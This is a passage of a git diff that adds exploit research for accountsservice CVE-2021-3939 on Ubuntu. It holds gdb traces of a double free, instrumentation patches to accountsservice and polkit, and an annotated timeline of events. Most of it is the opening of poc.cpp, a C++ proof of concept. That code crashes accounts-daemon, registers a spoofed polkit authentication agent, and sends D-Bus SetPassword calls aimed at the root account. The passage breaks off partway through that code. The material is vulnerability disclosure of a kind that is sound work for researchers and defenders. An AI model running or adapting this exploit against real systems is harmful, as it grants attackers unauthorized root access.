0x564cfbc660f0 +user = 0x564cfbc8f2f0 +context = 0x7f26140196a0 +data = 0x564cfbd17a00 +(gdb) info locals +i = 5190 +strings = 0x564cfbd17a00 +error = 0x0 +argv = {0x564cfbaf277d "/usr/sbin/usermod", 0x564cfbaf2a07 "-p", 0x564cfbd2bc40 "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB", 0x564cfbaf2318 "--", 0x564cfbd0f5a0 "root", 0x0} +(gdb) p *daemon +Python Exception : can only concatenate str (not "NoneType") to str +$5 = {parent = {parent_instance = {parent_instance = {g_type_instance = {g_class = }, ref_count = 131, qdata = 0x0}, priv = 0x564cfbc660c0}, priv = 0x564cfbc66090}} +(gdb) p *user +Python Exception : can only concatenate str (not "NoneType") to str +$6 = {parent = {parent_instance = {parent_instance = {g_type_instance = {g_class = }, ref_count = 69, qdata = 0x564cfbd323a0}, priv = 0x564cfbc8f2c0}, priv = 0x564cfbc8f290}, system_bus_connection = 0x564cfbc60050, object_path = 0x0, daemon = 0x564cfbc660f0, keyfile = 0x564cfbc6fc50, gid = 0, expiration_time = -1, last_change_time = 18954, min_days_between_changes = 0, max_days_between_changes = 99999, days_to_warn = 7, days_after_expiration_until_lock = -1, login_history = 0x0, icon_file = 0x0, default_icon_file = 0x564cfbc84e00 "/root/.face", account_expiration_policy_known = 1, cached = 0, extension_ids = 0x0, n_extension_ids = 0, changed_timeout_id = 0} +(gdb) p *context +$7 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc63070 [g_type: None]}, ref_count = 1, qdata = 0x7f2614020f50}, sender = 0x7f261401eb30 ":1.40040", object_path = 0x7f2614020ef0 "/org/freedesktop/Accounts/User0", interface_name = 0x7f2614020f20 "org.freedesktop.Accounts.User", method_name = 0x7f2614020e10 "SetPassword", method_info = 0x564cfbafe4a0 <_accounts_user_method_info_set_password>, property_info = 0x0, connection = 0x564cfbc60050, message = 0x7f2614013370, parameters = 0x7f261401cd20, user_data = 0x564cfbc8f2f0} +(gdb) p strings +$8 = (gchar **) 0x564cfbd17a00 +(gdb) p strings[0] +$9 = (gchar *) 0x564cfbd2bc40 "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB" +(gdb) p strings[1] +$10 = (gchar *) 0x564cfbd1a490 "GoldenEye" + +(gdb) up 1 +#4 0x0000564cfbad5f75 in check_auth_cb (authority=0x564cfbd0b440, res=0x564cfbd29a00, data=0x564cfbd1a350) at ../src/daemon.c:1428 +warning: Source file is more recent than executable. +1428 (* cad->authorized_cb) (cad->daemon, +(gdb) info args +authority = 0x564cfbd0b440 +res = 0x564cfbd29a00 +data = 0x564cfbd1a350 +(gdb) info locals +cad = 0x564cfbd1a350 +result = 0x564cfbd10840 +error = 0x0 +is_authorized = 1 +(gdb) p *authority +$11 = {parent_instance = {g_type_instance = {g_class = 0x564cfbd0af90 [g_type: None]}, ref_count = 261, qdata = 0x0}, name = 0x0, version = 0x0, proxy = 0x564cfbc8a510, cancellation_id_counter = 0, initialized = 1, initialization_error = 0x0} +(gdb) p *res +$12 = +(gdb) p *cad +$13 = {daemon = 0x564cfbc660f0, user = 0x564cfbc8f2f0, authorized_cb = 0x564cfbadfd3d , context = 0x7f26140196a0, data = 0x564cfbd17a00, destroy_notify = 0x564cfbae008d } +(gdb) p *result +$14 = {parent_instance = {g_type_instance = {g_class = 0x564cfbd1e920 [g_type: None]}, ref_count = 1, qdata = 0x0}, is_authorized = 1, is_challenge = 0, details = 0x564cfbc6c0a0} + +(gdb) up 1 +#5 0x00007f2620ed2fe2 in g_simple_async_result_complete (simple=0x564cfbd29a00) at ../../../gio/gsimpleasyncresult.c:802 +802 simple->callback (simple->source_object, +(gdb) info args +simple = 0x564cfbd29a00 +(gdb) info locals +current_source = +current_context = +__func__ = "g_simple_async_result_complete" +(gdb) p *simple +$15 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc62790 [g_type: None]}, ref_count = 1, qdata = 0x0}, source_object = 0x564cfbd0b440, callback = 0x564cfbad5e39 , user_data = 0x564cfbd1a350, context = 0x564cfbc4ffb0, error = 0x0, failed = 0, handle_cancellation = 1, check_cancellable = 0x0, source_tag = 0x7f2620c8bce1 , op_res = {v_pointer = 0x564cfbd10840, v_boolean = -70186944, v_ssize = 94888642283584}, destroy_op_res = 0x7f2620e019f0 } + +(gdb) up 1 +#6 0x00007f2620c8bc8b in check_authorization_cb (proxy=0x564cfbc8a510, res=0x564cfbd256e0, user_data=0x564cfbc8e4c0) at /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c:854 +warning: Source file is more recent than executable. +854 g_simple_async_result_complete (data->simple); +(gdb) info args +proxy = 0x564cfbc8a510 +res = 0x564cfbd256e0 +user_data = 0x564cfbc8e4c0 +(gdb) info locals +data = 0x564cfbc8e4c0 +value = 0x7f261405c440 +error = 0x0 +(gdb) p *proxy +$16 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc5a730 [g_type: None]}, ref_count = 131, qdata = 0x564cfbd0ae80}, priv = 0x564cfbc8a4a0} +(gdb) p *res +$17 = +(gdb) p *data +$18 = {authority = 0x564cfbd0b440, simple = 0x564cfbd29a00, cancellation_id = 0x0} +(gdb) p *value +$19 = {type_info = 0x7f261402fc30, size = 18446744073709551615, contents = {serialised = {bytes = 0x564cfbd49ca0, data = 0x1}, tree = {children = 0x564cfbd49ca0, n_children = 1}}, state = 4, ref_count = 1, depth = 0} + + +The double free happens at address 0x564cfbc8e4c0. Notice that the CheckAuthData struct has been allocated at that address (in the check_authorization_cb) stack frame. Notice that that address also appears multiple times in checkauthdata_table, so it has been used multiple times to store a CheckAuthData struct. diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md new file mode 100644 index 0000000..44d7d19 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md @@ -0,0 +1,185 @@ +# Instrumentation added to accountsservice (in `src/user.c`) + +``` +--- src/user.c 2021-12-09 13:13:26.393957784 +0000 ++++ /home/kev/projects/accountsservice/accountsservice-0.6.55/src/user.c 2021-12-09 13:10:51.817419407 +0000 +@@ -87,6 +87,23 @@ + + G_DEFINE_TYPE_WITH_CODE (User, user, ACCOUNTS_TYPE_USER_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_USER, user_accounts_user_iface_init)); + ++enum LogEntryType { ++ LOGENTRY_FALLBACK_VALUE, ++ LOGENTRY_SET_EMAIL, ++ LOGENTRY_SET_EMAIL_CB, ++ LOGENTRY_SET_LANGUAGE, ++ LOGENTRY_SET_LANGUAGE_CB, ++ LOGENTRY_SET_PASSWORD, ++ LOGENTRY_SET_PASSWORD_CB ++}; ++ ++struct LogEntry { ++ enum LogEntryType type_; ++}; ++ ++struct LogEntry logentries[0x1000]; ++size_t logentry_pos = 0; ++ + static gint + account_type_from_pwent (struct passwd *pwent) + { +@@ -1116,6 +1133,11 @@ + { + gchar *email = data; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_EMAIL_CB; ++ } ++ + if (g_strcmp0 (accounts_user_get_email (ACCOUNTS_USER (user)), email) != 0) { + accounts_user_set_email (ACCOUNTS_USER (user), email); + +@@ -1136,6 +1158,11 @@ + int uid; + const gchar *action_id; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_EMAIL; ++ } ++ + if (!get_caller_uid (context, &uid)) { + throw_error (context, ERROR_FAILED, "identifying caller failed"); + return FALSE; +@@ -1356,6 +1383,13 @@ + g_free (lang); + g_free (lctime); + ++ g_warning("fallback_value (%s): %p", property, fallback_value); ++ ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_FALLBACK_VALUE; ++ } ++ + return fallback_value; + } + +@@ -1518,6 +1552,11 @@ + { + const gchar *language = data; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_LANGUAGE_CB; ++ } ++ + if (!user_HOME_available (user)) { + + /* SetLanguage was probably called from a login greeter, +@@ -1568,6 +1607,11 @@ + int uid; + const gchar *action_id; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_LANGUAGE; ++ } ++ + if (!get_caller_uid (context, &uid)) { + throw_error (context, ERROR_FAILED, "identifying caller failed"); + return FALSE; +@@ -2697,6 +2741,11 @@ + g_autoptr(GError) error = NULL; + const gchar *argv[6]; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_PASSWORD_CB; ++ } ++ + sys_log (context, + "set password and hint of user '%s' (%d)", + accounts_user_get_user_name (ACCOUNTS_USER (user)), +@@ -2716,6 +2765,21 @@ + return; + } + ++ { ++ size_t i; ++ for (i = 0; i < logentry_pos; i++) { ++ struct LogEntry* e = &logentries[i]; ++ g_warning("logentry %ld: %d", i, e->type_); ++ } ++ } ++ ++ { ++ size_t i; ++ for (i = 0; i < 0xFFFFFFFF00000000; i++) { ++ sleep(1); ++ } ++ } ++ + accounts_user_set_password_mode (ACCOUNTS_USER (user), PASSWORD_MODE_REGULAR); + accounts_user_set_locked (ACCOUNTS_USER (user), FALSE); + accounts_user_set_password_hint (ACCOUNTS_USER (user), strings[1]); +@@ -2745,6 +2809,11 @@ + const gchar *action_id; + gint uid; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_PASSWORD; ++ } ++ + if (!get_caller_uid (context, &uid)) { + throw_error (context, ERROR_FAILED, "identifying caller failed"); + return FALSE; +``` + + +# Instrumentation added to polkit (in `src/polkit/polkitauthority.c`) + +``` +--- policykit-1-0.105/src/polkit/polkitauthority.c 2021-11-22 21:46:51.000000000 +0000 ++++ /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c 2021-12-09 13:18:52.543505054 +0000 +@@ -770,6 +770,14 @@ + gchar *cancellation_id; + } CheckAuthData; + ++ ++struct CheckAuthDataInfo { ++ CheckAuthData* data_; ++}; ++ ++struct CheckAuthDataInfo checkauthdata_table[0x1000]; ++checkauthdata_pos = 0; ++ + static void + cancel_check_authorization_cb (GDBusProxy *proxy, + GAsyncResult *res, +@@ -800,6 +808,11 @@ + GVariant *value; + GError *error; + ++ { ++ struct CheckAuthDataInfo* e = &checkauthdata_table[checkauthdata_pos++ & 0xFFF]; ++ e->data_ = data; ++ } ++ + error = NULL; + value = g_dbus_proxy_call_finish (proxy, res, &error); + if (value == NULL) +@@ -907,6 +920,11 @@ + callback, + user_data, + polkit_authority_check_authorization); ++ { ++ struct CheckAuthDataInfo* e = &checkauthdata_table[checkauthdata_pos++ & 0xFFF]; ++ e->data_ = data; ++ } ++ + G_LOCK (the_lock); + if (cancellable != NULL) + data->cancellation_id = g_strdup_printf ("cancellation-id-%d", authority->cancellation_id_counter++); +``` \ No newline at end of file diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt new file mode 100644 index 0000000..ce009f9 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt @@ -0,0 +1,166 @@ +This sequence of events is derived from the tracing data gathered +in logentries and checkauthdata_table (see info.txt). + +000: user_get_fallback_value (Language) +001: user_get_fallback_value (FormatsLocale) +002: 0x0000564cfbd1f970 set language (2x) \ +003: 0x0000564cfbd1f970 set language cb (2x) / <=== trigger bug (1st time) +004: 0x0000564cfbd0efd0 set email (2x) \ +005: 0x0000564cfbd0efd0 set email cb (2x) / +006: 0x0000564cfbc8e4c0 set password (5x) <=== [vuln chunk] gets denied (051) +007: 0x0000564cfbd1f930 set email (2x) \ +008: 0x0000564cfbd1f930 set email cb (2x) / +009: 0x0000564cfbd1e390 set password (3x) <=== gets denied (082) +010: 0x0000564cfbd1cc80 set email (2x) \ +011: 0x0000564cfbd1cc80 set email cb (2x) / +012: 0x0000564cfbc81670 set password (2x) <=== gets denied (116) +013: 0x0000564cfbd20800 set language (2x) \ +014: 0x0000564cfbd20800 set language cb (2x) / <=== trigger bug (2nd time) +015: 0x0000564cfbc81c10 set email (2x) \ +016: 0x0000564cfbc81c10 set email cb (2x) / +017: 0x0000564cfbc903e0 set password (2x) <=== gets denied (150) +018: 0x0000564cfbc81e00 set email (3x) \ +019: 0x0000564cfbc81e00 set email cb (3x) / +020: 0x0000564cfbd1cfe0 set password (1x) +021: 0x0000564cfbc927e0 set email (2x) <=== gets approved (158) +022: 0x0000564cfbd102d0 set password (1x) +023: 0x0000564cfbc7a600 set email (2x) <=== gets approved (159) +024: 0x0000564cfbd11a40 set password (1x) +025: 0x0000564cfbd1e740 set email (2x) <=== gets approved (160) +026: 0x0000564cfbc7fc20 set password (1x) +027: 0x0000564cfbd23e80 set email (2x) <=== gets approved (161) +028: 0x0000564cfbcd6bd0 set password (1x) +029: 0x0000564cfbc8e4c0 set email (5x) <=== [vuln chunk] gets approved (162), but it also gets overwritten (061) +030: 0x0000564cfbd23f00 set password (1x) +031: 0x0000564cfbd21cb0 set email (1x) +032: 0x0000564cfbc83800 set password (1x) +033: 0x0000564cfbd15f10 set email (1x) +034: 0x0000564cfbd1f2e0 set password (1x) +035: 0x0000564cfbd16ac0 set email (1x) +036: 0x0000564cfbc85ce0 set password (1x) +037: 0x0000564cfbd0f6a0 set email (1x) +038: 0x0000564cfbc7e590 set password (1x) +039: 0x0000564cfbd1d350 set email (1x) +040: 0x0000564cfbd18020 set password (1x) +041: 0x0000564cfbd17e30 set email (1x) +042: 0x0000564cfbd13030 set password (1x) +043: 0x0000564cfbd23ea0 set email (1x) +044: 0x0000564cfbd17ef0 set password (1x) +045: 0x0000564cfbd19310 set email (1x) +046: 0x0000564cfbc81e00 set password (3x) <=== same pointer as 018, but probably not relevant to the exploit +047: 0x0000564cfbd26320 set email (1x) +048: 0x0000564cfbd18100 set password (1x) +049: 0x0000564cfbd17b60 set email (1x) +050: 0x0000564cfbd28460 set password (1x) +051: 0x0000564cfbc8e4c0 set password cb (5x) <=== [vuln chunk] denied (006) +052: 0x0000564cfbd194a0 set email (1x) +053: 0x0000564cfbd284e0 set password (1x) +054: 0x0000564cfbd275d0 set email (1x) +055: 0x0000564cfbd29380 set password (1x) +056: 0x0000564cfbd21c40 set email (1x) +057: 0x0000564cfbd19630 set password (1x) +058: 0x0000564cfbd17d20 set email (1x) +059: 0x0000564cfbd1c3e0 set password (1x) +060: 0x0000564cfbd293a0 set email (1x) +061: 0x0000564cfbc8e4c0 set password (5x) <=== [vuln chunk] gets approved (161) due to overwriting chunk +062: 0x0000564cfbd1e790 set email (1x) +063: 0x0000564cfbd2aec0 set password (1x) +064: 0x0000564cfbd2af70 set email (1x) +065: 0x0000564cfbd2d8f0 set password (1x) +066: 0x0000564cfbd2d9e0 set email (1x) +067: 0x0000564cfbd2da70 set password (1x) +068: 0x0000564cfbd262a0 set email (1x) +069: 0x0000564cfbd2dd50 set password (1x) +070: 0x0000564cfbd2abd0 set email (1x) +071: 0x0000564cfbd2bc90 set password (1x) +072: 0x0000564cfbd2cbe0 set email (1x) +073: 0x0000564cfbd2e2d0 set password (1x) +074: 0x0000564cfbd2ae40 set email (1x) +075: 0x0000564cfbd2d800 set password (1x) +076: 0x0000564cfbd2e270 set email (1x) +077: 0x0000564cfbd30430 set password (1x) +078: 0x0000564cfbd31210 set email (1x) +079: 0x0000564cfbd32820 set password (1x) +080: 0x0000564cfbd310a0 set email (1x) +081: 0x0000564cfbd2cad0 set password (1x) +082: 0x0000564cfbd1e390 set password cb (3x) <=== denied (009) +083: 0x0000564cfbd1e390 set email (3x) <=== same pointer as 009, but probably not relevant to the exploit +084: 0x0000564cfbd262c0 set password (1x) +085: 0x0000564cfbd2c820 set email (1x) +086: 0x0000564cfbd31280 set password (1x) +087: 0x0000564cfbd32d50 set email (1x) +088: 0x0000564cfbc829a0 set password (1x) +089: 0x0000564cfbd1ccd0 set email (1x) +090: 0x0000564cfbd2e040 set password (1x) +091: 0x0000564cfbd13050 set email (1x) +092: 0x0000564cfbd352f0 set password (1x) +093: 0x0000564cfbd35780 set email (1x) +094: 0x0000564cfbd32c80 set password (1x) +095: 0x0000564cfbd364d0 set email (1x) +096: 0x0000564cfbd28480 set password (1x) +097: 0x0000564cfbd364f0 set email (1x) +098: 0x0000564cfbd34270 set password (1x) +099: 0x0000564cfbd35520 set email (1x) +100: 0x0000564cfbd32ae0 set password (1x) +101: 0x0000564cfbd34080 set email (1x) +102: 0x0000564cfbd34300 set password (1x) +103: 0x0000564cfbd37310 set email (1x) +104: 0x0000564cfbd36310 set password (1x) +105: 0x0000564cfbd362a0 set email (1x) +106: 0x0000564cfbd37680 set password (1x) +107: 0x0000564cfbd35760 set email (1x) +108: 0x0000564cfbd38300 set password (1x) +109: 0x0000564cfbd34650 set email (1x) +110: 0x0000564cfbd3b7e0 set password (1x) +111: 0x0000564cfbd3a580 set email (1x) +112: 0x0000564cfbd393a0 set password (1x) +113: 0x0000564cfbd35570 set email (1x) +114: 0x0000564cfbd3c410 set password (1x) +115: 0x0000564cfbd3c430 set email (1x) +116: 0x0000564cfbc81670 set password cb (2x) <=== denied (012) +117: 0x0000564cfbd3c5a0 set password (1x) +118: 0x0000564cfbd3b450 set email (1x) +119: 0x0000564cfbd38470 set password (1x) +120: 0x0000564cfbd3ed50 set email (1x) +121: 0x0000564cfbd0f440 set password (1x) +122: 0x0000564cfbc847c0 set email (1x) +123: 0x0000564cfbd3eff0 set password (1x) +124: 0x0000564cfbd39b30 set email (1x) +125: 0x0000564cfbd39330 set password (1x) +126: 0x0000564cfbd327c0 set email (1x) +127: 0x0000564cfbd402c0 set password (1x) +128: 0x0000564cfbd40430 set email (1x) +129: 0x0000564cfbd40240 set password (1x) +130: 0x0000564cfbd41300 set email (1x) +131: 0x0000564cfbd3ee60 set password (1x) +132: 0x0000564cfbd414a0 set email (1x) +133: 0x0000564cfbd41400 set password (1x) +134: 0x0000564cfbd43ad0 set email (1x) +135: 0x0000564cfbd43300 set password (1x) +136: 0x0000564cfbd41080 set email (1x) +137: 0x0000564cfbd3edc0 set password (1x) +138: 0x0000564cfbd44740 set email (1x) +139: 0x0000564cfbd44320 set password (1x) +140: 0x0000564cfbd43370 set email (1x) +141: 0x0000564cfbd41030 set password (1x) +142: 0x0000564cfbd323f0 set email (1x) +143: 0x0000564cfbd41620 set password (1x) +144: 0x0000564cfbd446e0 set email (1x) +145: 0x0000564cfbd3ef30 set password (1x) +146: 0x0000564cfbd47450 set email (1x) +147: 0x0000564cfbd474d0 set password (1x) +148: 0x0000564cfbd44610 set email (1x) +149: 0x0000564cfbd47470 set password (1x) +150: 0x0000564cfbc903e0 set password cb (1x) <=== denied (017) +151: 0x0000564cfbd476a0 set email (1x) +152: 0x0000564cfbd493e0 set password (1x) +153: 0x0000564cfbd49590 set email (1x) +154: 0x0000564cfbd47410 set password (1x) +155: 0x0000564cfbd498b0 set email (1x) +156: 0x0000564cfbd323d0 set password (1x) +157: 0x0000564cfbd47110 set email (1x) +158: 0x0000564cfbc927e0 set email cb (2x) <=== approved (021) +159: 0x0000564cfbc7a600 set email cb (2x) <=== approved (023) +160: 0x0000564cfbd1e740 set email cb (2x) <=== approved (025) +161: 0x0000564cfbd23e80 set email cb (2x) <=== approved (027) +162: 0x0000564cfbc8e4c0 set email cb (5x) <=== [vuln chunk] approval of 029, but has been overwritten by 061 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp new file mode 100644 index 0000000..2a037bb --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp @@ -0,0 +1,642 @@ +#include "dbus_utils.hpp" +#include "dbus_auth.hpp" +#include "parse.hpp" +#include "utils.hpp" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; +static const char* etc_shadow_path = "/etc/shadow"; + +// Return true if the timespecs are equal. +static bool timespec_eq(const timespec& t1, const timespec& t2) { + return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; +} + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +static std::vector search_pids(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + std::vector result; + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + result.push_back(atoi(subdir_name)); + } + } + return result; +} + +static pid_t search_pid(const char *cmdline, size_t cmdline_len) { + std::vector pids = search_pids(cmdline, cmdline_len); + if (pids.size() == 1) { + return pids[0]; + } + return -1; +} + +class DBusSocket : public AutoCloseFD { +public: + DBusSocket(const uid_t uid, const char* filename) : + AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) + { + if (get() < 0) { + throw ErrorWithErrno("Could not create socket"); + } + + sockaddr_un address; + memset(&address, 0, sizeof(address)); + address.sun_family = AF_UNIX; + strcpy(address.sun_path, filename); + + if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { + throw ErrorWithErrno("Could not connect socket"); + } + + dbus_sendauth(uid, get()); + + dbus_send_hello(get()); + std::unique_ptr hello_reply1 = receive_dbus_message(get()); + std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); + std::unique_ptr hello_reply2 = receive_dbus_message(get()); + } +}; + +static std::string getHomeDir(uid_t uid) { + FILE *fp = fopen("/etc/passwd", "r"); + char buf[4096] = {}; + struct passwd pw; + struct passwd *pwp; + while (true) { + if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { + fclose(fp); + char errmsg[256]; + snprintf( + errmsg, sizeof(errmsg), + "Could not find UID %u in /etc/passwd.", + uid + ); + throw Error(errmsg); + } + if (uid == pw.pw_uid) { + fclose(fp); + return _s(pw.pw_dir); + } + } +} + +static std::string send_accountsservice_FindUserById( + const int fd, + const uint32_t serialNumber, + const uid_t uid +) { + printf("send_accountsservice_FindUserById: (serial %u) uid = %u\n", serialNumber, uid); + + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectInt64::mk(uid) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserById") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("FindUserById returned an error."); + } + + return reply->getBody().getElement(0)->toPath().getValue(); +} + +static void send_accountsservice_SetPassword( + const int fd, + const char* userpath, + const char* password, + const char* hint, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(hint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword") + ); + + // Don't wait for reply here because it's blocked on polkit. +} + +static void send_accountsservice_set_property( + const int fd, + const uint32_t serialNumber, + const char* userpath, + const char* command, + const char* value +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(value)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s(command) + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("set_property returned an error."); + } +} + +// Information that can be gathered once when we first start executing. +class ProgramInfo { +public: + // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) + const char* dbus_socket_path_; + + // UID and PID of this process. + const uid_t uid_; + const pid_t pid_; + + // Start time of the process. (Needed to register as an authentication agent.) + const uint64_t start_time_; + + const std::string homedir_; + + explicit ProgramInfo(const char* dbus_socket_path) : + dbus_socket_path_(dbus_socket_path), + uid_(getuid()), + pid_(getpid()), + start_time_(process_start_time(pid_)), + homedir_(getHomeDir(uid_)) + { + printf("uid: %u\n", uid_); + printf("pid: %u\n", pid_); + printf("home dir: %s\n", homedir_.c_str()); + } +}; + +static void send_polkit_RegisterAuthenticationAgent( + const ProgramInfo& info, + const int fd, + const uint32_t serialNumber +) { + std::unique_ptr body = + DBusMessageBody::mk( + _vec>( + // Subject + DBusObjectStruct::mk( + _vec>( + DBusObjectString::mk(_s("unix-process")), // subject_kind + DBusObjectArray::mk1( + _vec>( + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("pid")), + DBusObjectVariant::mk( + DBusObjectUint32::mk(info.pid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("uid")), + DBusObjectVariant::mk( + DBusObjectInt32::mk(info.uid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("start-time")), + DBusObjectVariant::mk( + DBusObjectUint64::mk(info.start_time_) + ) + ) + ) + ) + ) + ), + DBusObjectString::mk(_s("en")), // locale + DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path + ) + ); + + dbus_method_call( + fd, + serialNumber, + std::move(body), + _s("/org/freedesktop/PolicyKit1/Authority"), + _s("org.freedesktop.PolicyKit1.Authority"), + _s("org.freedesktop.PolicyKit1"), + _s("RegisterAuthenticationAgent") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("RegisterAuthenticationAgent returned an error."); + } +} + +// Sends an error reply back to the "BeginAuthentication" message that we +// received from polkit. This cancels the authentication so that polkit +// will deny the request. (Sometimes we want to deliberately delay the +// cancellation for a bit, so this allows us to control that.) +static void polkit_cancel_auth( + const int fd, const uint32_t serialNumber, const DBusMessage& request +) { + const std::string& sender = + request.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); + + // Send error request + dbus_method_error_reply( + fd, + serialNumber, + request.getHeader_serialNumber(), + _s(sender), + _s("org.freedesktop.PolicyKit1.Error.Cancelled") + ); +} + +class Run { + const ProgramInfo& info_; + + const std::string pam_env_path_; + + // We're going to exchange messages with polkit and accounts-daemon. + // This is lazy coding, but the logic is simplier if we use two + // separate sockets. + const DBusSocket polkit_fd_; + const DBusSocket accounts_fd_; + + uint32_t serialNumber_; + + // Usually something like /org/freedesktop/Accounts/User1001 + const std::string my_objectpath_; + +public: + explicit Run(const ProgramInfo& info) : + info_(info), + pam_env_path_(info_.homedir_ + _s("/.pam_environment")), + polkit_fd_(info_.uid_, info_.dbus_socket_path_), + accounts_fd_(info_.uid_, info_.dbus_socket_path_), + serialNumber_(1000), + my_objectpath_( + send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, info_.uid_) + ) + {} + + // This function triggers the bug by removing `~/.pam_environment` and + // calling the "SetLanguage" method. + void trigger_bug() { + unlink(pam_env_path_.c_str()); + try { + send_accountsservice_set_property( + accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), + "SetLanguage", "kevwozere" + ); + } catch(Error&) { + // An error is quite likely, so ignore it. + } + } + + // We use this function to make sure that we're starting from a clean slate. + // It makes the exploit a bit less unreliable. + void restart_accounts_daemon() { + while (true) { + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + if (pid < 0) { + printf("accounts-daemon is not running\n"); + break; + } + printf("accounts-daemon PID: %d\n", pid); + trigger_bug(); + + // Sleep for 0.2 seconds, to give accounts-daemon a chance to crash. + timespec duration = {}; + duration.tv_sec = 0; + duration.tv_nsec = 500000000; + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + } + } + + void attempt_exploit( + const size_t batch_size1, + const size_t batch_size2 + ) { + restart_accounts_daemon(); + + send_polkit_RegisterAuthenticationAgent(info_, polkit_fd_.get(), serialNumber_++); + + // By default, accountsservice does not register the root user. This triggers it. + const std::string root_objectpath = + 